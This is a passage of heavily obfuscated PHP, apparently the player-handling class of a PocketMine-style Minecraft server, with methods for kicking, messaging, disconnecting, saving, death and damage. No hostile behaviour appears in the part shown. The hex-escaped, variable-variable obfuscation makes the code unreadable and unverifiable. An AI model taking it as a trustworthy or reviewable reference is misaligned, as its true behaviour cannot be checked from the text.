PlayerKickEvent($this,${${"\x47\x4c\x4f\x42AL\x53"}["b\x6c\x66x\x6cne"]},$this->getLeaveMessage()));if(!$ev->isCancelled()){${"\x47LO\x42\x41L\x53"}["r\x61a\x67j\x72\x65\x6f"]="\x69s\x41\x64min";if(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x72\x61\x61gj\x72eo"]}){${${"\x47\x4c\x4fBAL\x53"}["vyz\x6cfg\x66\x73"]}="K\x69cke\x64\x20\x62y \x61\x64m\x69\x6e\x2e".(${${"GLOB\x41LS"}["\x62\x6cfxlne"]}!==""?" Reas\x6fn:\x20".${${"\x47LOBA\x4c\x53"}["\x62l\x66\x78\x6c\x6ee"]}:"");}else{$ttmoxevcg="rea\x73\x6f\x6e";if(${$ttmoxevcg}===""){${${"G\x4c\x4f\x42\x41\x4cS"}["\x76\x79zl\x66\x67\x66\x73"]}="\x64i\x73\x63on\x6ee\x63tio\x6e\x53\x63\x72ee\x6e.\x6eo\x52e\x61\x73o\x6e";}else{${${"\x47\x4c\x4f\x42\x41LS"}["vy\x7a\x6c\x66\x67\x66s"]}=${${"G\x4cOB\x41L\x53"}["\x62l\x66x\x6cn\x65"]};}}$this->close($ev->getQuitMessage(),${${"\x47L\x4f\x42\x41\x4c\x53"}["\x76y\x7a\x6c\x66g\x66\x73"]});return true;}return false;}public function dropItem(Item$item){if($this->spawned===false or$this->blocked===true or!$this->isAlive()){return;}${"GL\x4f\x42\x41\x4c\x53"}["mh\x63\x79\x6a\x6ds\x62"]="ite\x6d";${"\x47L\x4f\x42A\x4c\x53"}["nc\x64\x79\x67\x68\x69"]="\x69t\x65\x6d";${"\x47LO\x42\x41\x4c\x53"}["\x6a\x67\x64m\x6c\x73\x6a\x6d\x63\x7an"]="\x65v";if(($this->isCreative()and$this->server->limitedCreative)or$this->isSpectator()){return;}if($item->getId()===Item::AIR or$item->getCount()<1){return;}${${"GLO\x42\x41\x4cS"}["jgdm\x6c\x73\x6a\x6d\x63\x7an"]}=new PlayerDropItemEvent($this,${${"\x47\x4c\x4fB\x41\x4cS"}["n\x63\x64y\x67\x68\x69"]});$this->server->getPluginManager()->callEvent(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x71cf\x7a\x76\x6c"]});if($ev->isCancelled()){return;}${"\x47\x4c\x4f\x42\x41\x4cS"}["e\x6a\x69\x74\x74\x6c\x68\x7a"]="\x6d\x6ftio\x6e";${"\x47LOB\x41\x4cS"}["u\x6e\x6a\x73\x79\x6b\x71\x74\x71\x67"]="\x6d\x6f\x74i\x6f\x6e";${${"\x47L\x4fB\x41\x4c\x53"}["\x65\x6a\x69\x74\x74\x6ch\x7a"]}=$this->getDirectionVector()->multiply(0.4);$this->level->dropItem($this->add(0,1.3,0),${${"G\x4c\x4fBALS"}["m\x68\x63y\x6a\x6d\x73\x62"]},${${"\x47LO\x42\x41\x4c\x53"}["\x75\x6e\x6as\x79\x6b\x71t\x71\x67"]},40);$this->setDataFlag(self::DATA_FLAGS,self::DATA_FLAG_ACTION,false);}public function sendMessage($message){$tuwxwevcwhi="\x6d\x65\x73\x73\x61\x67\x65";${"G\x4c\x4f\x42\x41L\x53"}["\x71\x79z\x66nc\x79"]="m";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6ce\x6au\x63eu\x78"]="\x6d\x65\x73";if(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x76y\x7al\x66g\x66\x73"]} instanceof TextContainer){if(${${"\x47\x4c\x4f\x42A\x4cS"}["\x76\x79\x7al\x66\x67\x66\x73"]} instanceof TranslationContainer){$this->sendTranslation($message->getText(),$message->getParameters());return false;}${${"\x47LO\x42\x41\x4cS"}["v\x79\x7a\x6c\x66\x67\x66s"]}=$message->getText();}${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x65\x6a\x75\x63\x65\x75\x78"]}=explode("\n",$this->server->getLanguage()->translateString(${$tuwxwevcwhi}));foreach(${${"GL\x4fB\x41\x4c\x53"}["pv\x65\x6dr\x62\x66\x68r"]} as${${"G\x4c\x4fB\x41\x4cS"}["\x71yzf\x6ecy"]}){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x67\x67j\x76qr\x6fpn\x6ct\x65"]="\x6d";if(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x67\x67j\x76\x71ro\x70\x6e\x6c\x74\x65"]}!==""){${"G\x4c\x4f\x42\x41\x4cS"}["\x6b\x68\x67j\x63oti\x6c\x63"]="e\x76";$this->server->getPluginManager()->callEvent(${${"\x47L\x4fB\x41L\x53"}["kh\x67\x6a\x63\x6ft\x69\x6cc"]}=new PlayerTextPreSendEvent($this,${${"\x47\x4c\x4f\x42A\x4c\x53"}["dtt\x6e\x66\x61\x73bm\x67\x69\x72"]},PlayerTextPreSendEvent::MESSAGE));if(!$ev->isCancelled()){${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["ozz\x79\x77\x73\x72\x73sq"]}=new TextPacket();$pk->type=TextPacket::TYPE_RAW;$pk->message=$ev->getMessage();$this->dataPacket(${${"\x47\x4cOB\x41\x4cS"}["o\x7a\x7ay\x77s\x72\x73\x73q"]});}}}return true;}public function sendTranslation($message,array$parameters=[]){${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6f\x7az\x79\x77sr\x73\x73\x71"]}=new TextPacket();${"G\x4cO\x42\x41LS"}["vb\x64\x66\x73\x62"]="\x65\x76";if(!$this->server->isLanguageForced()){${"\x47\x4c\x4fB\x41L\x53"}["\x6e\x63\x68\x62\x79\x64\x67\x76kimm"]="\x69";$pk->type=TextPacket::TYPE_TRANSLATION;$umjjiv="\x70a\x72a\x6de\x74\x65r\x73";$pk->message=$this->server->getLanguage()->translateString(${${"GL\x4f\x42\x41\x4cS"}["\x76\x79z\x6c\x66\x67\x66\x73"]},${${"G\x4cOBA\x4c\x53"}["\x61g\x69q\x75\x74\x6d\x62\x78"]},"\x70oc\x6b\x65\x74\x6d\x69\x6ee.");foreach(${${"\x47\x4cO\x42ALS"}["a\x67iqu\x74m\x62x"]} as${${"G\x4c\x4f\x42\x41\x4cS"}["\x6e\x63\x68b\x79dg\x76ki\x6d\x6d"]}=>${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x68e\x6a\x71\x73\x64j"]}){$qezdhexyn="\x70a\x72\x61\x6d\x65t\x65\x72\x73";${"\x47\x4c\x4f\x42AL\x53"}["u\x63v\x76\x75\x6fc\x61"]="\x70";${"G\x4c\x4f\x42\x41\x4cS"}["\x76\x63\x77mt\x65\x77\x68\x79x"]="\x69";${$qezdhexyn}[${${"\x47\x4c\x4fB\x41\x4c\x53"}["v\x63\x77\x6d\x74e\x77\x68\x79\x78"]}]=$this->server->getLanguage()->translateString(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x75\x63\x76\x76\x75\x6f\x63\x61"]},${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x61g\x69\x71utm\x62x"]},"\x70o\x63k\x65\x74\x6d\x69ne\x2e");}$pk->parameters=${$umjjiv};}else{$yutycok="\x70a\x72\x61\x6det\x65\x72s";$pk->type=TextPacket::TYPE_RAW;$pk->message=$this->server->getLanguage()->translateString(${${"\x47\x4cOB\x41LS"}["vyz\x6cf\x67f\x73"]},${$yutycok});}${${"G\x4cO\x42A\x4c\x53"}["\x71\x63\x66zv\x6c"]}=new PlayerTextPreSendEvent($this,$pk->message,PlayerTextPreSendEvent::TRANSLATED_MESSAGE);$this->server->getPluginManager()->callEvent(${${"GLO\x42A\x4c\x53"}["\x76bd\x66\x73\x62"]});if(!$ev->isCancelled()){$this->dataPacket(${${"\x47\x4cO\x42\x41\x4cS"}["o\x7a\x7ayw\x73\x72\x73s\x71"]});return true;}return false;}public function sendPopup($message,$subtitle=""){${"G\x4c\x4fBA\x4cS"}["\x70\x79\x73lvo\x63\x6em"]="\x65v";$duvusxasvypa="\x65\x76";${$duvusxasvypa}=new PlayerTextPreSendEvent($this,${${"\x47LOB\x41\x4cS"}["\x76\x79\x7a\x6cf\x67\x66s"]},PlayerTextPreSendEvent::POPUP);$this->server->getPluginManager()->callEvent(${${"\x47\x4cO\x42AL\x53"}["\x70\x79\x73\x6c\x76\x6fc\x6e\x6d"]});if(!$ev->isCancelled()){${${"G\x4cO\x42\x41\x4c\x53"}["\x6f\x7a\x7ayw\x73\x72\x73\x73\x71"]}=new TextPacket();$pk->type=TextPacket::TYPE_POPUP;$pk->source=$ev->getMessage();$pk->message=${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6a\x73\x78\x76z\x70\x6b\x68u\x68\x61"]};$this->dataPacket(${${"\x47LOB\x41L\x53"}["\x6fz\x7a\x79\x77\x73r\x73s\x71"]});return true;}return false;}public function sendTip($message){$hoetbhqbk="\x65v";$mavewygpvw="\x6d\x65s\x73\x61ge";$mivzcocodn="ev";${$mivzcocodn}=new PlayerTextPreSendEvent($this,${$mavewygpvw},PlayerTextPreSendEvent::TIP);$this->server->getPluginManager()->callEvent(${$hoetbhqbk});if(!$ev->isCancelled()){$wofoscgm="\x70\x6b";${$wofoscgm}=new TextPacket();$pk->type=TextPacket::TYPE_TIP;$pk->message=$ev->getMessage();$this->dataPacket(${${"\x47\x4cOB\x41\x4c\x53"}["\x6f\x7azyw\x73\x72ss\x71"]});return true;}return false;}public final function close($message="",$reason="generic reason",$notify=true){if($this->connected and!$this->closed){${"\x47\x4cOBA\x4c\x53"}["\x63\x61\x6e\x76i\x6b\x78u\x76\x75"]="\x6e\x6ftif\x79";$yunoeizfvko="w\x69\x6ed\x6f\x77";${"\x47\x4cO\x42\x41\x4cS"}["\x6dxbd\x6b\x6b\x63\x70"]="\x64";${"\x47LO\x42\x41\x4c\x53"}["c\x69\x73k\x6b\x68m\x69\x70l"]="\x65\x76";if(${${"GLO\x42\x41\x4c\x53"}["\x63a\x6e\x76\x69k\x78uv\x75"]} and strlen((string)${${"\x47LO\x42A\x4c\x53"}["b\x6cfxl\x6e\x65"]})>0){if($this->getProtocol()==84){${${"G\x4cO\x42\x41L\x53"}["o\x7azy\x77\x73\x72s\x73q"]}=new DisconnectPacket();}elseif(AnyVersionManager::isProtocol($this,"0\x2e1\x34")){${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6fzz\x79ws\x72\x73sq"]}=new\pocketmine\network\protocol\p70\DisconnectPacket();}$pk->message=${${"\x47L\x4f\x42\x41\x4c\x53"}["\x62\x6c\x66\x78l\x6e\x65"]};$this->directDataPacket(${${"\x47L\x4fBA\x4c\x53"}["\x6f\x7a\x7a\x79\x77\x73rs\x73\x71"]});}if($this->fishingHook instanceof FishingHook){$this->fishingHook->close();$this->fishingHook=null;}$this->removeEffect(Effect::HEALTH_BOOST);$this->connected=false;if(strlen($this->getName())>0){${"\x47\x4cO\x42\x41L\x53"}["hwyv\x70\x6d\x6a"]="\x6d\x65\x73\x73\x61\x67\x65";$this->server->getPluginManager()->callEvent(${${"\x47\x4cO\x42\x41\x4cS"}["\x71\x63f\x7a\x76l"]}=new PlayerQuitEvent($this,${${"\x47L\x4f\x42\x41\x4c\x53"}["hw\x79\x76\x70\x6d\x6a"]},true));if($this->loggedIn===true and$ev->getAutoSave()){$this->save();}}foreach($this->server->getOnlinePlayers()as${${"G\x4cOBAL\x53"}["qnh\x6d\x72\x68\x71\x6e\x67\x67\x72"]}){if(!$player->canSee($this)){$player->showPlayer($this);}}$this->hiddenPlayers=[];foreach($this->windowIndex as${$yunoeizfvko}){$this->removeWindow(${${"\x47L\x4fB\x41\x4c\x53"}["t\x6f\x73\x6cj\x64j\x68"]});}foreach($this->usedChunks as${${"\x47\x4cO\x42\x41L\x53"}["\x75\x73\x70\x71\x78\x74m\x6f\x72\x73"]}=>${${"G\x4cO\x42\x41L\x53"}["\x6d\x78\x62dk\x6bcp"]}){$bkrmoay="\x69n\x64\x65\x78";$rwxutltrl="\x69n\x64ex";$emqufcavfyc="\x63\x68\x75\x6e\x6b\x5a";Level::getXZ(${$bkrmoay},${${"\x47\x4c\x4f\x42\x41L\x53"}["\x75\x76t\x65b\x6e\x65j\x7a"]},${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64\x77j\x6a\x74\x64"]});$this->level->unregisterChunkLoader($this,${${"\x47L\x4f\x42\x41\x4cS"}["u\x76t\x65b\x6ee\x6az"]},${$emqufcavfyc});unset($this->usedChunks[${$rwxutltrl}]);}parent::close();$this->interface->close($this,${${"\x47L\x4fB\x41\x4c\x53"}["\x6a\x68\x70q\x63\x6cn\x64f\x73q"]}?${${"GL\x4f\x42ALS"}["b\x6c\x66xl\x6ee"]}:"");if($this->loggedIn){$this->server->removeOnlinePlayer($this);}$this->loggedIn=false;if(isset(${${"\x47L\x4fB\x41\x4c\x53"}["\x63\x69\x73k\x6b\x68\x6di\x70l"]})and$this->username!=""and$this->spawned!==false and$ev->getQuitMessage()!=""){if($this->server->playerMsgType===Server::PLAYER_MSG_TYPE_MESSAGE)$this->server->broadcastMessage($ev->getQuitMessage());elseif($this->server->playerMsgType===Server::PLAYER_MSG_TYPE_TIP)$this->server->broadcastTip(str_replace("\x40\x70\x6c\x61\x79er",$this->getName(),$this->server->playerLogoutMsg));elseif($this->server->playerMsgType===Server::PLAYER_MSG_TYPE_POPUP)$this->server->broadcastPopup(str_replace("\x40pl\x61\x79er",$this->getName(),$this->server->playerLogoutMsg));}$this->server->getPluginManager()->unsubscribeFromPermission(Server::BROADCAST_CHANNEL_USERS,$this);$this->spawned=false;$this->server->getLogger()->info($this->getServer()->getLanguage()->translateString("p\x6fc\x6be\x74\x6d\x69\x6e\x65.p\x6c\x61y\x65r.log\x4fu\x74",[TextFormat::AQUA.$this->getName().TextFormat::WHITE,$this->ip,$this->port,$this->getServer()->getLanguage()->translateString(${${"\x47\x4cO\x42A\x4cS"}["b\x6c\x66\x78\x6cn\x65"]})]));$this->windows=new\SplObjectStorage();$this->windowIndex=[];$this->usedChunks=[];$this->loadQueue=[];$this->hasSpawned=[];$this->spawnPosition=null;unset($this->buffer);if($this->server->dserverConfig["\x65nab\x6c\x65"]and$this->server->dserverConfig["queryAuto\x55p\x64a\x74e"])$this->server->updateQuery();}if($this->perm!==null){$this->perm->clearPermissions();$this->perm=null;}$this->inventory=null;$this->transactionQueue=null;$this->chunk=null;$this->server->removePlayer($this);}public function __debugInfo(){return[];}public function save($async=false){if($this->closed){throw new\InvalidStateException("T\x72ied to\x20\x73ave\x20\x63\x6c\x6f\x73\x65\x64 \x70\x6c\x61ye\x72");}parent::saveNBT();if($this->level instanceof Level){$this->namedtag->Level=new StringTag("\x4c\x65\x76\x65\x6c",$this->level->getName());if($this->spawnPosition instanceof Position and$this->spawnPosition->getLevel()instanceof Level and$this->spawnPosition->getLevel()->getProvider()!==NULL){$this->namedtag["\x53\x70awnLeve\x6c"]=$this->spawnPosition->getLevel()->getName();$this->namedtag["\x53\x70aw\x6e\x58"]=(int)$this->spawnPosition->x;$this->namedtag["\x53pawn\x59"]=(int)$this->spawnPosition->y;$this->namedtag["\x53\x70\x61\x77n\x5a"]=(int)$this->spawnPosition->z;}$this->namedtag["play\x65r\x47am\x65\x54\x79\x70\x65"]=$this->gamemode;$this->namedtag["\x6c\x61\x73\x74\x50l\x61y\x65d"]=new LongTag("l\x61st\x50\x6c\x61ye\x64",floor(microtime(true)*1000));$this->namedtag["\x48\x75nger"]=new ShortTag("\x48\x75\x6e\x67e\x72",$this->food);$this->namedtag["He\x61lth"]=new ShortTag("H\x65\x61lth",$this->getHealth());$this->namedtag["\x4dax\x48\x65a\x6cth"]=new ShortTag("Ma\x78He\x61\x6ct\x68",$this->getMaxHealth());$this->namedtag["\x45x\x70eri\x65nce"]=new LongTag("\x45xpe\x72\x69ence",$this->exp);$this->namedtag["\x45\x78pLe\x76el"]=new LongTag("\x45xpL\x65\x76\x65\x6c",$this->expLevel);if($this->username!=""and$this->namedtag instanceof CompoundTag){$iarcrfawdk="\x61\x73\x79\x6ec";$this->server->saveOfflinePlayerData($this->username,$this->namedtag,${$iarcrfawdk});}}}public function getName(){return$this->username;}public function kill(){$hrppjulhs="\x70\x61r\x61ms";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6c\x69\x65\x69\x69\x6dj"]="\x6d\x65\x73\x73ag\x65";${"\x47\x4c\x4f\x42A\x4cS"}["r\x76\x78\x6c\x78\x67\x70y"]="\x6de\x73\x73\x61\x67e";$bxjbophohvp="cau\x73\x65";$gveclbhpcuz="\x6de\x73s\x61\x67e";${"GL\x4f\x42\x41LS"}["\x78\x74\x63\x77\x66\x68\x63\x77d"]="me\x73\x73age";$pqklgnjmoz="e\x76";if(!$this->spawned){return;}${${"\x47\x4cOBAL\x53"}["\x6c\x69e\x69i\x6d\x6a"]}="\x64\x65a\x74\x68.\x61\x74\x74\x61\x63\x6b.\x67\x65\x6e\x65\x72\x69\x63";${"\x47LO\x42\x41L\x53"}["\x79\x61\x6e\x70\x67\x69\x75j\x76p\x6d\x79"]="mess\x61\x67\x65";${"\x47LO\x42\x41\x4c\x53"}["cs\x78\x6a\x78n\x70"]="c\x61\x75s\x65";${"\x47\x4c\x4f\x42ALS"}["g\x79\x6f\x72xs\x69\x75l\x6e"]="\x6d\x65\x73\x73\x61\x67e";${$hrppjulhs}=[$this->getDisplayName()];${${"\x47LOB\x41\x4c\x53"}["\x63s\x78j\x78n\x70"]}=$this->getLastDamageCause();${"G\x4cOB\x41\x4c\x53"}["\x61sf\x64\x72\x64kt\x7a"]="po\x73";switch(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x7a\x6d\x75\x68p\x62\x79\x62d"]}===null?EntityDamageEvent::CAUSE_CUSTOM:$cause->getCause()){case EntityDamageEvent::CAUSE_ENTITY_ATTACK:if(${${"\x47\x4c\x4fB\x41\x4c\x53"}["zm\x75\x68\x70\x62\x79\x62\x64"]} instanceof EntityDamageByEntityEvent){${"\x47\x4cO\x42\x41\x4cS"}["\x77w\x64\x67\x69\x6d\x72\x66wi\x68\x75"]="e";${${"G\x4c\x4fB\x41\x4c\x53"}["w\x77\x64gi\x6d\x72\x66\x77i\x68\x75"]}=$cause->getDamager();$ohvpuok="e";if(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x70\x79s\x69i\x6f\x6c\x6e\x78h"]} instanceof Player){${${"\x47\x4c\x4fB\x41\x4c\x53"}["v\x79\x7a\x6c\x66\x67\x66\x73"]}="d\x65at\x68\x2eatt\x61\x63\x6b\x2epl\x61\x79\x65\x72";${${"\x47\x4cO\x42\x41\x4cS"}["\x67\x6f\x72dtx\x78c\x76h"]}[]=$e->getDisplayName();break;}elseif(${$ohvpuok} instanceof Living){${${"\x47\x4c\x4fB\x41\x4cS"}["\x76yz\x6cf\x67f\x73"]}="\x64\x65a\x74h\x2e\x61tta\x63k.\x6do\x62";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["g\x6frd\x74\x78x\x63\x76\x68"]}[]=$e->getNameTag()!==""?$e->getNameTag():$e->getName();break;}else{${${"\x47L\x4f\x42AL\x53"}["\x67\x6f\x72\x64\x74\x78xc\x76\x68"]}[]="U\x6e\x6bnown";}}break;case EntityDamageEvent::CAUSE_PROJECTILE:if(${$bxjbophohvp} instanceof EntityDamageByEntityEvent){${"\x47\x4c\x4f\x42\x41\x4cS"}["\x62\x79\x63\x65\x76\x77\x65bfwx"]="e";${${"\x47\x4c\x4fBA\x4c\x53"}["\x70\x79siio\x6c\x6ex\x68"]}=$cause->getDamager();if(${${"GL\x4fB\x41L\x53"}["\x62\x79\x63e\x76w\x65bf\x77x"]} instanceof Player){${"\x47L\x4fB\x41\x4cS"}["kk\x62\x6e\x6bod"]="\x70\x61\x72\x61ms";${"\x47LO\x42\x41\x4c\x53"}["d\x79\x68\x7a\x63\x65\x68\x6f\x6dt\x6e"]="\x6de\x73\x73\x61\x67\x65";${${"\x47LOB\x41\x4c\x53"}["\x64\x79\x68\x7a\x63\x65\x68o\x6dt\x6e"]}="\x64e\x61\x74\x68\x2e\x61t\x74ac\x6b\x2ear\x72o\x77";${${"\x47\x4cO\x42A\x4cS"}["k\x6b\x62\x6e\x6b\x6fd"]}[]=$e->getDisplayName();}elseif(${${"G\x4c\x4f\x42AL\x53"}["\x70\x79\x73i\x69o\x6c\x6ex\x68"]} instanceof Living){${${"\x47LO\x42A\x4c\x53"}["v\x79\x7a\x6cf\x67f\x73"]}="\x64e\x61\x74h.a\x74\x74\x61\x63\x6b.\x61\x72\x72o\x77";${${"\x47LO\x42AL\x53"}["g\x6f\x72\x64t\x78\x78\x63\x76h"]}[]=$e->getNameTag()!==""?$e->getNameTag():$e->getName();break;}else{${${"\x47\x4c\x4f\x42\x41\x4cS"}["g\x6f\x72d\x74\x78x\x63\x76\x68"]}[]="\x55\x6ek\x6eo\x77\x6e";}}break;case EntityDamageEvent::CAUSE_SUICIDE:${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["x\x74c\x77\x66h\x63w\x64"]}="\x64e\x61th\x2e\x61\x74\x74ac\x6b.gene\x72ic";break;case EntityDamageEvent::CAUSE_VOID:${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x79an\x70\x67iu\x6a\x76\x70my"]}="\x64\x65a\x74h.a\x74\x74\x61c\x6b.\x6f\x75tO\x66\x57\x6f\x72\x6cd";break;case EntityDamageEvent::CAUSE_FALL:if(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x7a\x6du\x68\x70\x62\x79b\x64"]} instanceof EntityDamageEvent){if($cause->getFinalDamage()>2){${"GL\x4f\x42\x41LS"}["\x77t\x6b\x68\x6a\x6b\x65o\x61n"]="\x6de\x73\x73\x61ge";${${"GL\x4f\x42\x41\x4c\x53"}["w\x74\x6bhj\x6b\x65o\x61\x6e"]}="d\x65ath\x2efell.\x61\x63c\x69d\x65n\x74\x2egen\x65r\x69c";break;}}${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["rvx\x6c\x78\x67\x70\x79"]}="death.at\x74\x61\x63\x6b.fall";break;case EntityDamageEvent::CAUSE_SUFFOCATION:${${"\x47\x4cO\x42\x41\x4c\x53"}["\x76y\x7a\x6cf\x67f\x73"]}="\x64\x65\x61\x74h.a\x74\x74a\x63k.inW\x61ll";break;case EntityDamageEvent::CAUSE_LAVA:${$gveclbhpcuz}="d\x65a\x74\x68\x2ea\x74\x74a\x63\x6b\x2el\x61\x76a";break;case EntityDamageEvent::CAUSE_FIRE:${${"\x47\x4cOB\x41\x4c\x53"}["gyo\x72\x78\x73\x69\x75l\x6e"]}="de\x61\x74\x68.at\x74a\x63k.\x6f\x6eFire";break;case EntityDamageEvent::CAUSE_FIRE_TICK:${${"\x47LOBA\x4c\x53"}["\x76\x79z\x6cfg\x66\x73"]}="d\x65\x61t\x68.at\x74\x61\x63k.\x69\x6e\x46ir\x65";break;case EntityDamageEvent::CAUSE_DROWNING:${${"GLO\x42ALS"}["v\x79\x7al\x66\x67\x66\x73"]}="\x64e\x61\x74h\x2e\x61\x74t\x61\x63\x6b.d\x72\x6fw\x6e";break;case EntityDamageEvent::CAUSE_CONTACT:if(${${"\x47\x4c\x4fB\x41\x4cS"}["z\x6d\x75\x68\x70\x62\x79\x62d"]} instanceof EntityDamageByBlockEvent){if($cause->getDamager()->getId()===Block::CACTUS){${"\x47\x4cO\x42\x41LS"}["b\x65t\x77\x65\x67\x78\x73\x73\x79\x68"]="\x6d\x65s\x73ag\x65";${${"G\x4cO\x42\x41\x4cS"}["\x62e\x74\x77egxs\x73y\x68"]}="\x64\x65at\x68\x2ea\x74\x74a\x63k\x2e\x63\x61\x63\x74\x75\x73";}}break;case EntityDamageEvent::CAUSE_BLOCK_EXPLOSION:case EntityDamageEvent::CAUSE_ENTITY_EXPLOSION:if(${${"\x47\x4cO\x42\x41L\x53"}["\x7a\x6duh\x70by\x62\x64"]} instanceof EntityDamageByEntityEvent){${"\x47\x4c\x4fB\x41\x4cS"}["r\x61g\x70\x6al\x65\x64\x73p\x67\x6b"]="e";${"\x47\x4c\x4f\x42AL\x53"}["\x72\x76\x63\x61eq\x79\x6f\x6d\x72h"]="\x65";${${"\x47\x4c\x4fB\x41L\x53"}["\x72\x76\x63\x61eq\x79\x6f\x6dr\x68"]}=$cause->getDamager();if(${${"G\x4c\x4f\x42A\x4cS"}["\x72\x61\x67\x70\x6a\x6c\x65ds\x70gk"]} instanceof Player){${${"G\x4cO\x42A\x4c\x53"}["\x76\x79\x7a\x6cf\x67\x66\x73"]}="\x64\x65a\x74h\x2e\x61\x74\x74a\x63k\x2eexp\x6c\x6f\x73ion\x2e\x70la\x79\x65\x72";${${"G\x4cO\x42\x41\x4cS"}["\x67or\x64\x74\x78\x78\x63v\x68"]}[]=$e->getDisplayName();}elseif(${${"G\x4cOB\x41\x4cS"}["p\x79\x73\x69io\x6c\x6e\x78\x68"]} instanceof Living){${${"\x47\x4cO\x42\x41L\x53"}["\x76\x79zlf\x67\x66\x73"]}="\x64\x65at\x68\x2eat\x74\x61\x63k.\x65\x78pl\x6f\x73io\x6e.\x70\x6c\x61\x79\x65\x72";${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x67\x6f\x72d\x74\x78\x78\x63\x76\x68"]}[]=$e->getNameTag()!==""?$e->getNameTag():$e->getName();break;}}else{${${"G\x4c\x4f\x42A\x4c\x53"}["\x76\x79\x7a\x6c\x66\x67\x66s"]}="dea\x74\x68\x2e\x61\x74t\x61\x63k.\x65\x78\x70l\x6f\x73\x69\x6f\x6e";}break;case EntityDamageEvent::CAUSE_MAGIC:${${"\x47\x4cOB\x41\x4c\x53"}["\x76\x79\x7a\x6c\x66\x67\x66s"]}="\x64\x65ath.\x61\x74t\x61ck\x2e\x6dagi\x63";break;case EntityDamageEvent::CAUSE_CUSTOM:break;default:}Entity::kill();${$pqklgnjmoz}=new PlayerDeathEvent($this,$this->getDrops(),new TranslationContainer(${${"\x47L\x4fB\x41\x4c\x53"}["vy\x7alf\x67\x66\x73"]},${${"\x47L\x4fB\x41\x4c\x53"}["\x67o\x72\x64\x74\x78\x78\x63\x76h"]}));$ev->setKeepInventory($this->server->keepInventory);$ev->setKeepExperience($this->server->keepExperience);$this->server->getPluginManager()->callEvent(${${"\x47\x4c\x4fBALS"}["q\x63\x66\x7av\x6c"]});if(!$ev->getKeepInventory()){foreach($ev->getDrops()as${${"\x47\x4cOB\x41\x4c\x53"}["fo\x68\x65\x78un\x6eb\x65"]}){$this->level->dropItem($this,${${"\x47\x4cOB\x41L\x53"}["f\x6fh\x65\x78\x75nn\x62\x65"]});}if($this->inventory!==null){$this->inventory->clearAll();}}if($this->server->expEnabled and!$ev->getKeepExperience()){${${"G\x4c\x4fBA\x4c\x53"}["\x71\x71h\x76t\x68wj"]}=min(91,$this->getTotalXp());${"GLOBA\x4c\x53"}["\x6a\x67\x65f\x6an\x71g\x63\x6fc"]="\x65xp";$this->getLevel()->spawnXPOrb($this->add(0,0.2,0),${${"\x47L\x4fBA\x4c\x53"}["\x6a\x67e\x66\x6an\x71\x67\x63\x6fc"]});$this->setTotalXp(0,true);}if($ev->getDeathMessage()!=""){$this->server->broadcast($ev->getDeathMessage(),Server::BROADCAST_CHANNEL_USERS);}${${"\x47L\x4f\x42\x41LS"}["\x61\x73\x66\x64\x72\x64k\x74\x7a"]}=$this->getSpawn();$this->setHealth(0);${${"\x47L\x4f\x42A\x4cS"}["\x6f\x7a\x7a\x79\x77\x73r\x73\x73\x71"]}=new RespawnPacket();$pk->x=$pos->x;$pk->y=$pos->y;$pk->z=$pos->z;$this->dataPacket(${${"GL\x4fB\x41LS"}["\x6f\x7az\x79\x77s\x72\x73s\x71"]});}public function setHealth($amount){parent::setHealth(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x72\x72\x76\x69\x71\x73"]});if($this->spawned===true){$this->foodTick=0;$this->getAttributeMap()->getAttribute(Attribute::HEALTH)->setMaxValue($this->getMaxHealth())->setValue(${${"\x47\x4c\x4fB\x41L\x53"}["\x72\x72\x76\x69\x71\x73"]},true);}}public function attack($damage,EntityDamageEvent$source){if(!$this->isAlive()){return;}${"GLO\x42A\x4cS"}["q\x64eb\x7a\x63"]="\x73o\x75\x72\x63e";if($this->isCreative()and$source->getCause()!==EntityDamageEvent::CAUSE_MAGIC and$source->getCause()!==EntityDamageEvent::CAUSE_SUICIDE and$source->getCause()!==EntityDamageEvent::CAUSE_VOID){$source->setCancelled();}elseif($this->allowFlight and$source->getCause()===EntityDamageEvent::CAUSE_FALL){$source->setCancelled();}parent::attack(${${"\x47L\x4fB\x41\x4cS"}["a\x74\x66\x6aur\x6bu"]},${${"\x47\x4cOBALS"}["q\x64e\x62\x7a\x63"]});if($source->isCancelled()){return;}elseif($this->getLastDamageCause()===${${"\x47L\x4f\x42\x41\x4c\x53"}["k\x76\x70\x68\x71\x72"]} and$this->spawned){${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6f\x7az\x79\x77s\x72\x73\x73\x71"]}=new EntityEventPacket();$pk->eid=0;$pk->event=EntityEventPacket::HURT_ANIMATION;$this->dataPacket(${${"\x47\x4cO\x42\x41L\x53"}["o\x7az\x79\x77\x73rs\x73q"]});if($this->isSurvival()){$this->exhaust(0.3,PlayerExhaustEvent::CAUSE_DAMAGE);}}}public function 